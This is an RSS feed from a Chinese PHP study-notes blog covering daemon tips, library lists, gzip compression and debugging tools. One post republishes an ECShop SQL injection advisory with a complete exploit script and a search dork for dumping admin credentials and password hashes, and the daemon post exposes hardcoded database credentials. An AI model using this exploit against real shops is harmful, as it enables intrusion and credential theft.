<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>小杜学习笔记 &#187; PHP</title>
	<atom:link href="http://tinydoo.cn/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://tinydoo.cn</link>
	<description>记录生活学习点滴</description>
	<lastBuildDate>Thu, 10 Dec 2009 14:43:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>代替bash，书写PHP daemon (后台程序)</title>
		<link>http://tinydoo.cn/2009/367.html</link>
		<comments>http://tinydoo.cn/2009/367.html#comments</comments>
		<pubDate>Sun, 27 Sep 2009 05:45:36 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=367</guid>
		<description><![CDATA[来源：http://www.cnblogs.com/niniwzw/archive/2009/09/07/1561668.html
最近在雅虎的一个朋友和我说，以前用bash csh 写脚本, 它现在都在用PHP 写后台程序，觉得PHP的函数最全，而且很容易用 shell_exec 很容易调用系统内核。
我和他交流了一下写后台程序的一些原则，归纳如下。
首先，要去掉以前写网页脚本的一些思维习惯。网页脚本运行一次以后，就马上释放内存。而daemon 程序不一样，它会一直运行一年，甚至几年。
<span class="readmore"><a href="http://tinydoo.cn/2009/367.html" title="代替bash，书写PHP daemon (后台程序)" target="_blank">阅读全文——共1068字</a></span>]]></description>
			<content:encoded><![CDATA[<p>来源：<a href="http://www.cnblogs.com/niniwzw/archive/2009/09/07/1561668.html" target="_blank">http://www.cnblogs.com/niniwzw/archive/2009/09/07/1561668.html</a></p>
<p>最近在雅虎的一个朋友和我说，以前用bash csh 写脚本, 它现在都在用PHP 写后台程序，觉得PHP的函数最全，而且很容易用 shell_exec 很容易调用系统内核。<br />
我和他交流了一下写后台程序的一些原则，归纳如下。<br />
首先，要去掉以前写网页脚本的一些思维习惯。网页脚本运行一次以后，就马上释放内存。而daemon 程序不一样，它会一直运行一年，甚至几年。<br />
1.  作为一个好的习惯，一定要在while (1) {} 这样一个死循环里面运行代码。这样，只要代码不出状况，脚本就不会停止。<br />
2.  echo 不能用，而是用log 代替。用写日志的方法代替echo。因为echo 是 向 屏幕输出一个字符，如果没有任何输出的对象，就会报一个致命错误。<br />
3.  如果MYSQL，要每次重新连接MYSQL。</p>
<div><!--</p>
<p>Code highlighting produced by Actipro CodeHighlighter (freeware)</p>
<p>http://www.CodeHighlighter.com/</p>
<p>--></p></div>
<blockquote>
<div><span style="color: #0000ff;">function</span><span style="color: #000000;"> connnect()<br />
{<br />
</span><span style="color: #0000ff;">global</span><span style="color: #000000;"> </span><span style="color: #800080;">$db</span><span style="color: #000000;">;<br />
</span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (</span><span style="color: #008080;">is_resource</span><span style="color: #000000;">(</span><span style="color: #800080;">$db</span><span style="color: #000000;">)) {<br />
</span><span style="color: #008080;">mysqli_close</span><span style="color: #000000;">(</span><span style="color: #800080;">$db</span><span style="color: #000000;">);<br />
}<br />
</span><span style="color: #800080;">$db</span><span style="color: #000000;"> </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #008080;">mysqli_connect</span><span style="color: #000000;">(</span><span style="color: #000000;">&#8220;</span><span style="color: #000000;">122.225.96.142</span><span style="color: #000000;">&#8220;</span><span style="color: #000000;">,</span><span style="color: #000000;"> </span><span style="color: #000000;">&#8216;</span><span style="color: #000000;">waihui</span><span style="color: #000000;">&#8216;</span><span style="color: #000000;">,</span><span style="color: #000000;"> </span><span style="color: #000000;">&#8216;</span><span style="color: #000000;">freebsd@fzm</span><span style="color: #000000;">&#8216;</span><span style="color: #000000;">,</span><span style="color: #000000;"> </span><span style="color: #000000;">&#8216;</span><span style="color: #000000;">waihui</span><span style="color: #000000;">&#8216;</span><span style="color: #000000;">);<br />
}</span></div>
</blockquote>
<p>上面就是连接的一个例子。这个代码曾经被一个高手狠狠的批评了一顿。这个主要是为了防止下面的事情：<br />
mysql 重启了，$db 变量肯定还是个资源，但是这个资源已经无效了。如果再执行代码就会发生：<br />
mysql has go away 这样的错误。这个会向屏幕输出，即时关闭错误报告也一样会输出。这样导致整个<br />
脚本运行错误，和echo 产生的错误一样。<br />
虽然每次连接数据库有些浪费，但是也只能宁可错杀1000，也不放过一个。这个错误，是大多数朋友都会犯的<br />
错误，很多人和我说这个是mysql的bug，因为，本来写文件好好的，后来连接带mysql就出错了。<br />
其实不是mysql的bug。</p>
<p>4. 新产生的变量，如果不是自动释放的，要马上释放。否则日积月累，程序就要崩溃。很多PHP程序员没有一点<br />
内存管理的概念，觉得内存是无限的，随便用，写后台程序一定要注意内存的管理。</p>
<p>5. 如果要访问文件，首先要 clearstatcache, 否则很有可能会不精确的统计，或者<br />
判断文件是否存在变的不准确了。更要命的是，如果你频繁打开文件，文件的handle 值会<br />
不断增加，等到超过整数的最大值，程序就无法打开文件。很多人的程序，3个月挂一次，<br />
没有出现错误，也没有出现内存问题，很有可能就是每次操作文件前，没有清除statcache。</p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/367.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>20个PHP常用类库</title>
		<link>http://tinydoo.cn/2009/332.html</link>
		<comments>http://tinydoo.cn/2009/332.html#comments</comments>
		<pubDate>Fri, 05 Jun 2009 06:29:33 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[类]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=332</guid>
		<description><![CDATA[下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。
图表库
下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD库的支持。

<span class="readmore"><a href="http://tinydoo.cn/2009/332.html" title="20个PHP常用类库" target="_blank">阅读全文——共1184字</a></span>]]></description>
			<content:encoded><![CDATA[<p>下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。</p>
<h2>图表库</h2>
<p>下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD库的支持。</p>
<ul>
<li><a href="http://pchart.sourceforge.net/" target="_blank">pChart </a>- 一个可以创建统计图的库。</li>
<li><a href="http://naku.dohcrew.com/libchart/pages/introduction/" target="_blank">Libchart </a>- 这也是一个简单的统计图库。</li>
<li><a href="http://www.aditus.nu/jpgraph/" target="_blank">JpGraph</a> &#8211; 一个面向对象的图片创建类。</li>
<li><a href="http://teethgrinder.co.uk/open-flash-chart/" target="_blank">Open Flash Chart </a>- 这是一个基于Flash的统计图。</li>
</ul>
<h2>RSS 解析</h2>
<ul>
<li><a href="http://magpierss.sourceforge.net/" target="_blank">MagpieRSS </a>- 开源的PHP版RSS解析器，据说功能强大，未验证。</li>
<li><a href="http://simplepie.org/" target="_blank">SimplePie</a> &#8211; 这是一个非常快速，而且易用的RSS和Atom 解析库。</li>
</ul>
<h2>缩略图生成</h2>
<ul>
<li><a href="http://phpthumb.sourceforge.net/" target="_blank">phpThumb </a>- 功能很强大，如何强大还是自己去体会吧。</li>
</ul>
<h2>支付</h2>
<ul>
<li><a href="http://www.phpfour.com/blog/2009/02/php-payment-gateway-library-for-paypal-authorizenet-and-2checkout/" target="_blank">PHP Payment Library</a> &#8211; 支持Paypal, Authorize.net 和2Checkout (2CO)</li>
</ul>
<h2>OpenID</h2>
<ul>
<li><a href="http://www.openidenabled.com/php-openid" target="_blank">PHP-OpenID </a>- 支持OpenID的一个PHP库。OpenID是帮助你使用相同的用户名和口令登录不同的网站的一种解决方案。如果你对OpenID不熟悉的话，你可以到这里看看：<a href="http://openid.net.cn/">http://openid.net.cn/</a></li>
</ul>
<h2>数据为抽象/对象关系映射ORM</h2>
<ul>
<li><a href="http://adodb.sourceforge.net/" target="_blank">ADOdb </a>- 数据库抽象</li>
<li><a href="http://www.doctrine-project.org/" target="_blank">Doctrine </a>- 对象关系映射Object relational mapper (ORM) ，需要 PHP 5.2.3+ 版本，一个非常强大的database abstraction layer (DBAL).</li>
<li><a href="http://propel.phpdb.org/trac/" target="_blank">Propel</a> &#8211; 对象关系映射框架- PHP5</li>
<li><a href="http://www.outlet-orm.org/site/" target="_blank">Outlet </a>- 也是关于对象关系映射的一个工具。</li>
</ul>
<blockquote><p>注：对象关系映射（Object Relational Mapping，简称ORM）是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。 简单的说，ORM是通过使用描述对象和数据库之间映射的元数据，将程序中的对象自动持久化到关系数据库中。本质上就是将数据从一种形式转换到另外一种形 式。 这也同时暗示者额外的执行开销；然而，如果ORM作为一种中间件实现，则会有很多机会做优化，而这些在手写的持久层并不存在。 更重要的是用于控制转换的元数据需要提供和管理；但是同样，这些花费要比维护手写的方案要少；而且就算是遵守ODMG规范的对象数据库依然需要类级别的元 数据。</p></blockquote>
<h2>PDF 生成器</h2>
<ul>
<li><a href="http://www.fpdf.org/" target="_blank">FPDF</a> &#8211; 这量一个可以让你生成PDF的纯PHP类库。</li>
</ul>
<h2>Excel 相关</h2>
<ul>
<li><a href="http://code.google.com/p/php-excel/" target="_blank">php-excel</a> &#8211; 这是一个非常简单的Excel文件生成类。</li>
<li><a href="http://code.google.com/p/php-excel-reader/" target="_blank">PHP Excel Reader</a> &#8211; 可以解析并读取XLS文件中的数据。</li>
</ul>
<h2>E-Mail 相关</h2>
<ul>
<li><a href="http://swiftmailer.org/" target="_blank">Swift Mailer</a> &#8211; 免费的超多功能的PHP邮件库。</li>
<li><a href="http://phpmailer.codeworxtech.com/" target="_blank">PHPMailer</a> &#8211; 超强大的邮件发送类。</li>
</ul>
<h2>单元测试</h2>
<p>如果你在使用测试驱动的方法开发你的程序，下面的类库和框架绝你能帮助你的开发。</p>
<ul>
<li><a href="http://www.simpletest.org/" target="_blank">SimpleTest </a>- 一个PHP的单元测试和网页测试的框架。</li>
<li><a href="http://www.phpunit.de/" target="_blank">PHPUnit</a> &#8211; 来自xUnit 家族，提供一个框架可以让你方便地进行单元测试的案例开发。并可非常容易地分析其测试结果。</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/332.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>IE下使用Firebug</title>
		<link>http://tinydoo.cn/2009/319.html</link>
		<comments>http://tinydoo.cn/2009/319.html#comments</comments>
		<pubDate>Sun, 31 May 2009 02:46:44 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[编程]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=319</guid>
		<description><![CDATA[在你的网页中加入下面的代码，将可以在IE、Opera、Safari下使用Firebug了：
[code][/code]
更多介绍：http://getfirebug.com/lite.html
]]></description>
			<content:encoded><![CDATA[<p>在你的网页中加入下面的代码，将可以在IE、Opera、Safari下使用Firebug了：<br />
[code]<script src="http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js" type="text/javascript"></script>[/code]<br />
更多介绍：<a href="http://getfirebug.com/lite.html">http://getfirebug.com/lite.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/319.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>压缩你的PHP、JS、CSS等文本类型代码</title>
		<link>http://tinydoo.cn/2009/303.html</link>
		<comments>http://tinydoo.cn/2009/303.html#comments</comments>
		<pubDate>Wed, 20 May 2009 03:54:09 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[压缩]]></category>
		<category><![CDATA[网站]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=303</guid>
		<description><![CDATA[众所周知，减小代码在传输中的大小，就能提高页面的传输速度，打开网页也就快了，这是基于带宽瓶颈的理论，当然服务器速度受到其他很多因素的影响， 有PHP代码执行速度，数据库访问速度，磁盘读写IO速度等，无论怎样，带宽影响是非常大，而受中国电信抑或是中国网通还有其他的一些电信公司的制约，在 服务器网络带宽并不很充裕的条件下，压缩代码传输将会大大节省带宽！
本文讲述通过使用Gzip压缩方式自动压缩相应的代码，在访问者浏览器端会自动还原成代码以便浏览器执行，至于编写代码时的良好风格节省空间的方法不在本文之列。
GZIP 最早由Jean-loup Gailly和Mark Adler创建，用于UNIX系统的文件压缩。我们在 LINUX中经常会用到后缀为.gz的文件，它们就是GZIP格式的。现今已经成为Internet 上使用非常普遍的一种数据压缩格式，或者说一种文件格式。HTTP协议上的GZIP编码是一种用来改进WEB应用程序性能的技术。大流量的WEB站点常常 使用GZIP压缩技术来让用户感受更快的速度。
<span class="readmore"><a href="http://tinydoo.cn/2009/303.html" title="压缩你的PHP、JS、CSS等文本类型代码" target="_blank">阅读全文——共1692字</a></span>]]></description>
			<content:encoded><![CDATA[<p>众所周知，减小代码在传输中的大小，就能提高页面的传输速度，打开网页也就快了，这是基于带宽瓶颈的理论，当然服务器速度受到其他很多因素的影响， 有PHP代码执行速度，数据库访问速度，磁盘读写IO速度等，无论怎样，带宽影响是非常大，而受中国电信抑或是中国网通还有其他的一些电信公司的制约，在 服务器网络带宽并不很充裕的条件下，压缩代码传输将会大大节省带宽！</p>
<p>本文讲述通过使用Gzip压缩方式自动压缩相应的代码，在访问者浏览器端会自动还原成代码以便浏览器执行，至于编写代码时的良好风格节省空间的方法不在本文之列。</p>
<blockquote><p>GZIP 最早由Jean-loup Gailly和Mark Adler创建，用于UNIX系统的文件压缩。我们在 LINUX中经常会用到后缀为.gz的文件，它们就是GZIP格式的。现今已经成为Internet 上使用非常普遍的一种数据压缩格式，或者说一种文件格式。HTTP协议上的GZIP编码是一种用来改进WEB应用程序性能的技术。大流量的WEB站点常常 使用GZIP压缩技术来让用户感受更快的速度。</p></blockquote>
<p>首先测试一下你的网站各个页面是否采用了Gzip压缩，这里有个<a href="http://www.port80software.com/tools/compresscheck.asp?url=http%3A%2F%2Ftinydoo.cn" target="_blank"><span style="text-decoration: underline;"><span style="color: #3065ad;">测试工具</span></span></a></p>
<p>目前，有两种主流方法实现Gzip压缩。<br />
一、<a href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html" target="_blank"><span style="text-decoration: underline;"><span style="color: #3065ad;">mod_deflate模块</span></span></a></p>
<blockquote><p>mod_deflate 模块提供了DEFLATE输出过滤器，允许服务器在将输出内容发送到客户端以前进行压缩(应该也是采用gzip数据格式压缩，deflate是一种压缩算 法)以节约带宽。Apache 1.3.x时代使用mod_gzip模块来实现，Apache2已经内置了mod_deflate模块。</p></blockquote>
<p>这种方法要求安装了Apache的http服务器软件，并且加载了deflate模块。</p>
<p>使用方法：</p>
<p>在网页发布目录的.htaccess文件中加入：</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: olive;">&lt;</span><span style="color: green;">ifmodule</span><span style="color: #00008b;">mod_deflate</span><span style="color: gray;">.</span><span style="color: #00008b;">c</span><span style="color: olive;">&gt;</span></li>
<li><span style="color: gray;">AddOutputFilter DEFLATE html htm xml php js css</span></li>
<li><span style="color: olive;">&lt;/</span><span style="color: green;">ifmodule</span><span style="color: olive;">&gt;</span></li>
</ol>
</div>
<p>这样就会使得Apache在发布html,xml,php,js,css这样的文件时会采用Gzip方式传输数据，这个方法简单，一劳永逸，但一般使用的虚拟主机并没有安装deflate模块，也不一定是Apache的，不过我们还有办法：</p>
<p>二、<a href="http://cn2.php.net/manual/zh/function.ob-gzhandler.php" target="_blank"><span style="text-decoration: underline;"><span style="color: #3065ad;">ob_gzhandler函数</span></span></a><br />
主机要求：支持PHP，PHP版本在4.0.4以上，安装有<a href="http://www.zlib.net/" target="_blank"><span style="text-decoration: underline;"><span style="color: #3065ad;">zlib库</span></span></a></p>
<p>对于PHP文件传输中压缩，只需在原来的 PHP 文件首行加上</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: blue;">&lt;?php</span><span style="color: green;">if</span><span style="color: olive;">(</span><span style="color: blue;">extension_loaded</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">zlib</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">))</span><span style="color: olive;">{</span><span style="color: blue;">ob_start</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">ob_gzhandler</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">)</span><span style="color: gray;">;</span><span style="color: olive;">}</span><span style="color: blue;">?&gt;</span></li>
</ol>
</div>
<p>并且在结尾加上</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: blue;">&lt;?php</span><span style="color: green;">if</span><span style="color: olive;">(</span><span style="color: blue;">extension_loaded</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">zlib</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">))</span><span style="color: olive;">{</span><span style="color: blue;">ob_end_flush</span><span style="color: olive;">()</span><span style="color: gray;">;</span><span style="color: olive;">}</span><span style="color: blue;">?&gt;</span></li>
</ol>
</div>
<p>复制时还原为正规的PHP格式。</p>
<p>对于js文件，则在原来js文件的首行加上</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: blue;">&lt;?php</span><span style="color: green;">if</span><span style="color: olive;">(</span><span style="color: blue;">extension_loaded</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">zlib</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">)</span><span style="color: olive;">)</span><span style="color: olive;">{</span><span style="color: blue;">ob_start</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">ob_gzhandler</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">)</span><span style="color: gray;">;</span><span style="color: olive;">}</span><span style="color: blue;">header</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">Content-Type: text/javascript</span><span style="color: #8b0000;">&#8220;</span><span style="color: olive;">)</span><span style="color: gray;">; </span><span style="color: blue;">?&gt;</span></li>
</ol>
</div>
<p>末尾同样加上</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: blue;">&lt;?php</span><span style="color: green;">if</span><span style="color: olive;">(</span><span style="color: blue;">extension_loaded</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">zlib</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">))</span><span style="color: olive;">{</span><span style="color: blue;">ob_end_flush</span><span style="color: olive;">()</span><span style="color: gray;">;</span><span style="color: olive;">}</span><span style="color: blue;">?&gt;</span></li>
</ol>
</div>
<p>然后存为abc.js.PHPfont&gt;这样的文件，并且修改指向这个所有html，PHPfont&gt;等文件。</p>
<p>改</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: olive;">&lt;</span><span style="color: green;">script</span><span style="color: #00008b;">type</span><span style="color: gray;">=</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">text/javascript</span><span style="color: #8b0000;">&#8220;</span><span style="color: #00008b;">src</span><span style="color: gray;">=</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">abc.js</span><span style="color: #8b0000;">&#8220;</span><span style="color: #00008b;">charset</span><span style="color: gray;">=</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">utf-8</span><span style="color: #8b0000;">&#8220;</span><span style="color: olive;">&gt;&lt;/</span><span style="color: green;">script</span><span style="color: olive;">&gt;</span></li>
</ol>
</div>
<p>为</p>
<div class="hl-surround">
<ol class="hl-main ln-show">
<li class="hl-firstline"><span style="color: olive;">&lt;</span><span style="color: green;">script</span><span style="color: #00008b;">type</span><span style="color: gray;">=</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">text/javascript</span><span style="color: #8b0000;">&#8220;</span><span style="color: #00008b;">src</span><span style="color: gray;">=</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">abc.js.php</span><span style="color: #8b0000;">&#8220;</span><span style="color: #00008b;">charset</span><span style="color: gray;">=</span><span style="color: #8b0000;">&#8220;</span><span style="color: red;">utf-8</span><span style="color: #8b0000;">&#8220;</span><span style="color: olive;">&gt;&lt;/</span><span style="color: green;">script</span><span style="color: olive;">&gt;</span></li>
</ol>
</div>
<p>对于a.html文件就直接改成a.PHPfont&gt;访问好了，如果要保留原来的URL就 修改.htaccess 伪URL或者建立一个网页跳转吧，而其他的CSS等文本也就依此推算出该怎么改了。</p>
<p>压缩效能说明：jQuery库源代码为50k左右，先写代码时优化，去除空格组合函数等使其减小至26k，再使用GZIP压缩至14k！<br />
再附一张其他网站的压缩效能比较图，图中三种方式都是GZIP，只是执行的方法不同而已。<br />
<a rel="lightbox[96]" href="http://21pt.com/Attach/month_0808/4x18y8_193233_1.png" target="_blank"><img src="http://21pt.com/Attach/month_0808/4x18y8_193233_1.png" alt="gzip.png" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/303.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>phpMinAdmin</title>
		<link>http://tinydoo.cn/2009/298.html</link>
		<comments>http://tinydoo.cn/2009/298.html#comments</comments>
		<pubDate>Fri, 15 May 2009 10:07:05 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[phpMinAdmin]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[数据库]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=298</guid>
		<description><![CDATA[8错，偶没有拼错 
用PHP+MySQL开发的同学，phpmyadmin一定是你经常要用到的工具之一
phpMinAdmin也是一个用PHP开发的数据库管理工具，但是相对phpMyadmin而言，它是个浓缩版的，只有一个159kb的PHP文件组成
但是功能却不弱,有兴趣的朋友可以试试，目前已经支持简体中文。
<span class="readmore"><a href="http://tinydoo.cn/2009/298.html" title="phpMinAdmin" target="_blank">阅读全文——共192字</a></span>]]></description>
			<content:encoded><![CDATA[<p>8错，偶没有拼错 <img src='http://tinydoo.cn/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
用PHP+MySQL开发的同学，phpmyadmin一定是你经常要用到的工具之一</p>
<p>phpMinAdmin也是一个用PHP开发的数据库管理工具，但是相对phpMyadmin而言，它是个浓缩版的，只有一个159kb的PHP文件组成</p>
<p>但是功能却不弱,有兴趣的朋友可以试试，目前已经支持简体中文。</p>
<p>官方地址：<a href="http://phpminadmin.sourceforge.net" target="_blank">http://phpminadmin.sourceforge.net</a></p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/298.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ECShop注射漏洞</title>
		<link>http://tinydoo.cn/2009/272.html</link>
		<comments>http://tinydoo.cn/2009/272.html#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:57:10 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=272</guid>
		<description><![CDATA[by Ryat
http://bbs.wolvez.org
2009-03-24
影响2.5.x和2.6.x,其他版本未测试
<span class="readmore"><a href="http://tinydoo.cn/2009/272.html" title="ECShop注射漏洞" target="_blank">阅读全文——共280字</a></span>]]></description>
			<content:encoded><![CDATA[<p>by Ryat<br />
<a href="http://bbs.wolvez.org/">http://bbs.wolvez.org</a><br />
2009-03-24</p>
<p>影响2.5.x和2.6.x,其他版本未测试</p>
<p>goods_script.php44行:<br />
<code><br />
if (empty($_GET['type']))<br />
{<br />
...<br />
}<br />
elseif ($_GET['type'] == 'collection')<br />
{<br />
...<br />
}<br />
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);<br />
$res = $db-&gt;query($sql);<br />
</code></p>
<p>$sql没有初始化,很明显的一个漏洞:)</p>
<p>EXP:<br />
<code><br />
#!/usr/bin/php<br />
<?php</p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://bbs.wolvez.org<br />
dork: "Powered by ECShop"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
 * works with register_globals = On<br />
 */<br />
if ($argc < 3) {<br />
    print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].' host path<br />
host:      target server (ip/hostname)<br />
path:      path to ecshop<br />
Example:<br />
php '.$argv[0].' localhost /ecshop/<br />
+---------------------------------------------------------------------------+<br />
');<br />
    exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];</p>
<p>$resp = send();<br />
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);</p>
<p>if ($hash)<br />
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");<br />
else<br />
    exit("Exploit Failed!\n");</p>
<p>function send()<br />
{<br />
    global $host, $path;</p>
<p>    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';</p>
<p>    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";<br />
    $data .= "Accept: */*\r\n";<br />
    $data .= "Accept-Language: zh-cn\r\n";<br />
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
    $data .= "Host: $host\r\n";<br />
    $data .= "Content-Length: ".strlen($cmd)."\r\n";<br />
    $data .= "Connection: Close\r\n\r\n";<br />
    $data .= $cmd;</p>
<p>    $fp = fsockopen($host, 80);<br />
    fputs($fp, $data);</p>
<p>    $resp = '';</p>
<p>    while ($fp &#038;&#038; !feof($fp))<br />
        $resp .= fread($fp, 1024);</p>
<p>    return $resp;<br />
}</p>
<p>?><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/272.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FirePHP &#8211; Ajax和PHP开发扩展工具</title>
		<link>http://tinydoo.cn/2009/263.html</link>
		<comments>http://tinydoo.cn/2009/263.html#comments</comments>
		<pubDate>Fri, 13 Feb 2009 08:50:27 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[firephp]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=263</guid>
		<description><![CDATA[FirePHP是一个基于Firebug的Firefox扩展插件。
他可以在不影响php程序正常运行的同时，在Firebug的console中方便的输出php的调试信息，因此对于Ajax开发是个不错的选择。面一起来看下Firephp的使用方法。
安装
1.如果你的FireFox没有Firebug这个插件的话，首先要安装Firebug这个插件，可以到其官方地址去下载：http://www.getfirebug.com/
<span class="readmore"><a href="http://tinydoo.cn/2009/263.html" title="FirePHP &#8211; Ajax和PHP开发扩展工具" target="_blank">阅读全文——共526字</a></span>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.firephp.org/" target="_blank">FirePHP</a>是一个基于<a href="https://addons.mozilla.org/firefox/addon/1843" target="_blank">Firebug</a>的Firefox扩展插件。</p>
<p>他可以在不影响php程序正常运行的同时，在Firebug的console中方便的输出php的调试信息，因此对于Ajax开发是个不错的选择。面一起来看下<a title="firephp" href="http://www.firephp.org/" target="_blank">Firephp</a>的使用方法。</p>
<p><strong>安装</strong></p>
<p>1.如果你的FireFox没有Firebug这个插件的话，首先要安装Firebug这个插件，可以到其官方地址去下载：<a class="external" title="Firebug" href="http://www.getfirebug.com/" target="_blank">http://www.getfirebug.com/</a></p>
<p>2.下载<a title="firephp" href="http://www.firephp.org/" target="_blank">Firephp</a>的php文件。并放在合适的目录。</p>
<p>3.引用fb.php, 比如：require(’FirePHPCore/fb.php’)</p>
<p> </p>
<div class="php">4.打开输出缓冲（因为<a title="firephp" href="http://www.firephp.org/" target="_blank">Firephp</a>主要用到的是header函数），有如下三种方法：</div>
<p> </p>
<div class="php">
<ul>
<li>在程序的前面加上ob_start()</li>
<li>修改php.ini 将output_buffering设为1或者on</li>
<li>修改apache的设置，在配置文件中加上php_flag output_buffering on</li>
</ul>
</div>
<p><strong>调试</strong></p>
